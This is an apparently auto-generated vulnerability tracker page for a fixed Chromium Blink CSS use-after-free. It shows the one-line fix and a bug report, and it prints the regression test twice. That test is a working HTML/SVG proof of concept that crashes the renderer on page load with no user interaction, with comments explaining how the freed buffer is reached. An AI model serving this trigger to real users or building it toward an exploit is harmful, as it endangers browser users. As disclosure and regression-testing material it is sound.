Overview

Low
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in CSS
DescriptionUse after free in CSS
ComponentCSS
Sub-componentBlink>CSS
Bug ClassUAF
Tracker565742178
Fix commitd9c38102d3c9 (chromium/src) +30/-1
CISA KEVNot listed
Creditedxinyang
Disclosed2026-10-06

Files Changed

  • third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html
  • third_party/blink/renderer/core/css/element_rule_collector.cc
From d9c38102d3c99631cc1e0245fbf5d78d8259a90c Mon Sep 17 00:00:00 2001
From: Rune Lillesveen <futhark@chromium.org>
Date: Mon, 28 Sep 2026 02:06:45 -0700
Subject: [PATCH] Don't keep reference to attribute AtomicString during style resolution

Attribute synchronization may change internal attribute storage during
style resolution. Keep a local AtomicString for ShadowPseudoId() instead
of a reference pointing into the internal attribute storage.

Fixes UAF crasher.

Bug: 565742178
Change-Id: I00f0d4fc35594254939ad74a1734c8eda37bd2f2
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8469947
Commit-Queue: Rune Lillesveen <futhark@chromium.org>
Reviewed-by: Morten Stenshorne <mstensho@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1705920}
---
diff --git a/third_party/blink/renderer/core/css/element_rule_collector.cc b/third_party/blink/renderer/core/css/element_rule_collector.cc
index ec82c6b..33ff2c0 100644
--- a/third_party/blink/renderer/core/css/element_rule_collector.cc
+++ b/third_party/blink/renderer/core/css/element_rule_collector.cc
@@ -823,7 +823,7 @@
       style_recalc_context_.style_scope_frame, matching_ua_rules_,
       matching_rules_from_no_style_sheet_, style_recalc_context_, mode_);
   Element& element = *context.context.element;
-  const AtomicString& pseudo_id = element.ShadowPseudoId();
+  const AtomicString pseudo_id = element.ShadowPseudoId();
   if (!pseudo_id.empty()) {
     DCHECK(element.IsStyledElement());
     for (const auto bundle : match_request.AllRuleSets()) {
diff --git a/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html b/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html
new file mode 100644
index 0000000..2c1afce2
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html
@@ -0,0 +1,29 @@
+<!doctype html>
+<html class="test-wait">
+<title>Chrome 565742178 crash bug</title>
+<link rel="help" href="https://crbug.com/565742178">
+<!-- 1. <use> clones <g pseudo="-webkit-poc" a b c d> (5 attributes) and its child <image> into the
+        <use> element's user-agent shadow root. The cloned <image> cannot decode its data and fires
+        "error"; evt.target is that clone, so E below is the cloned <g> inside the shadow root.
+     2. E.style.fill = 'red' gives E its own attribute vector (exactly full: 5 entries) plus a dirty,
+        not yet serialized "style" attribute.
+     3. getComputedStyle(E).fill recalculates E's style: ElementRuleCollector::CollectMatchingRulesInternal
+        keeps `const AtomicString& pseudo_id` pointing into that vector; matching sheet 1's
+        @scope ([style]) prelude serializes E's style attribute and appends it, which reallocates the
+        vector; the ::-webkit-poc lookup for sheet 2 then reads pseudo_id from the freed buffer. -->
+<style>@scope ([style]) { ::-webkit-poc { fill: blue; } }</style>
+<style>::-webkit-poc { stroke: blue; }</style>
+<script>
+  function crash(image) {
+    const g = image.parentNode;
+    if (g.getRootNode() === document) {
+      // ignore the original <image>; only the <use> instance matters
+      return;
+    }
+    g.style.fill = 'red';
+    getComputedStyle(g).fill;
+    document.documentElement.className = "";
+  }
+</script>
+<svg><defs><g id="t"><g pseudo="-webkit-poc" a="1" b="2" c="3" d="4">
+<image href="data:image/png;base64,AAAA" onerror="crash(evt.target)"/></g></g></defs><use href="#t"/></svg>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html b/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html
new file mode 100644
index 0000000..2c1afce2
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/css/selectors/crashtests/chrome-bug-565742178.html
@@ -0,0 +1,29 @@
+<!doctype html>
+<html class="test-wait">
+<title>Chrome 565742178 crash bug</title>
+<link rel="help" href="https://crbug.com/565742178">
+<!-- 1. <use> clones <g pseudo="-webkit-poc" a b c d> (5 attributes) and its child <image> into the
+        <use> element's user-agent shadow root. The cloned <image> cannot decode its data and fires
+        "error"; evt.target is that clone, so E below is the cloned <g> inside the shadow root.
+     2. E.style.fill = 'red' gives E its own attribute vector (exactly full: 5 entries) plus a dirty,
+        not yet serialized "style" attribute.
+     3. getComputedStyle(E).fill recalculates E's style: ElementRuleCollector::CollectMatchingRulesInternal
+        keeps `const AtomicString& pseudo_id` pointing into that vector; matching sheet 1's
+        @scope ([style]) prelude serializes E's style attribute and appends it, which reallocates the
+        vector; the ::-webkit-poc lookup for sheet 2 then reads pseudo_id from the freed buffer. -->
+<style>@scope ([style]) { ::-webkit-poc { fill: blue; } }</style>
+<style>::-webkit-poc { stroke: blue; }</style>
+<script>
+  function crash(image) {
+    const g = image.parentNode;
+    if (g.getRootNode() === document) {
+      // ignore the original <image>; only the <use> instance matters
+      return;
+    }
+    g.style.fill = 'red';
+    getComputedStyle(g).fill;
+    document.documentElement.className = "";
+  }
+</script>
+<svg><defs><g id="t"><g pseudo="-webkit-poc" a="1" b="2" c="3" d="4">
+<image href="data:image/png;base64,AAAA" onerror="crash(evt.target)"/></g></g></defs><use href="#t"/></svg>
Loading diff…

Original Bug Report

reported by xi...@anthropic.com

Heap-use-after-free in ElementRuleCollector::CollectMatchingRulesInternal

Summary

CollectMatchingRulesInternal() keeps a const AtomicString& to the element’s shadow pseudo ID, which points into the element’s attribute vector. While rules are matched, an @scope ([style]) prelude serializes the element’s dirty inline style, which appends a style attribute and reallocates that vector. A later lookup reads pseudo_id from the freed buffer. Renderer process, zero interaction.

Environment

  • Chrome for Testing 154.0.8037.57 (Stable), 155.0.8059.12 (Beta), 156.0.8072.0 (Canary); code unchanged on main b7c07f35773a
  • Ubuntu 24.04, x86-64
  • Evidence build: ASan, Chromium 155.0.8038.0

Reproduction

chrome --user-data-dir=/tmp/p --no-first-run poc.html
  1. Launch with a fresh profile.
  2. Wait; zero interaction beyond loading the page. The tab shows “Aw, Snap!” within about 1 s.

Rate: Stable 4/4, Beta 3/3, Canary 4/4.

Evidence

Renderer process. Full reports: asan.txt, asan-dcheck.txt (DCHECK build, same bug, no DCHECK fires).

heap-use-after-free READ of size 8, 8 bytes inside 80-byte region
  #0 ElementRuleCollector::CollectMatchingRulesInternal<false>
freed:  Vector<Attribute>::ReallocateBuffer <- MutableAttributeCollection::Append
  <- Element::SynchronizeStyleAttributeInternal <- SelectorChecker::MatchSelector
  <- ... <- CollectMatchingRulesInternal<false>  element_rule_collector.cc:757
MiraclePtr Status: NOT PROTECTED

Stock builds load a non-canonical value through the stale reference and dereference it.

Vulnerable code (third_party/blink/renderer/core/css/element_rule_collector.cc)

826  const AtomicString& pseudo_id = element.ShadowPseudoId();      [1]
829  for (const auto bundle : match_request.AllRuleSets()) {
830    if (CollectMatchingRulesForList<stop_at_first_match>(
831            bundle.rule_set->UAShadowPseudoElementRules(pseudo_id),  [2]

[1] Reference into the attribute vector. [2] Matching an earlier bundle can reallocate that vector, so this reads freed memory. A later loop in the same function already guards against this; pseudo_id predates that guard.

Impact

Any web page, no interaction, permission or flag. Renderer use-after-free. Reporter’s estimate: High (S1).

Discovery and validation

Found by AI-assisted source review and dynamic testing (Claude).

Attachments: poc.html, asan.txt, asan-dcheck.txt, report.md (full write-up)

View on issue tracker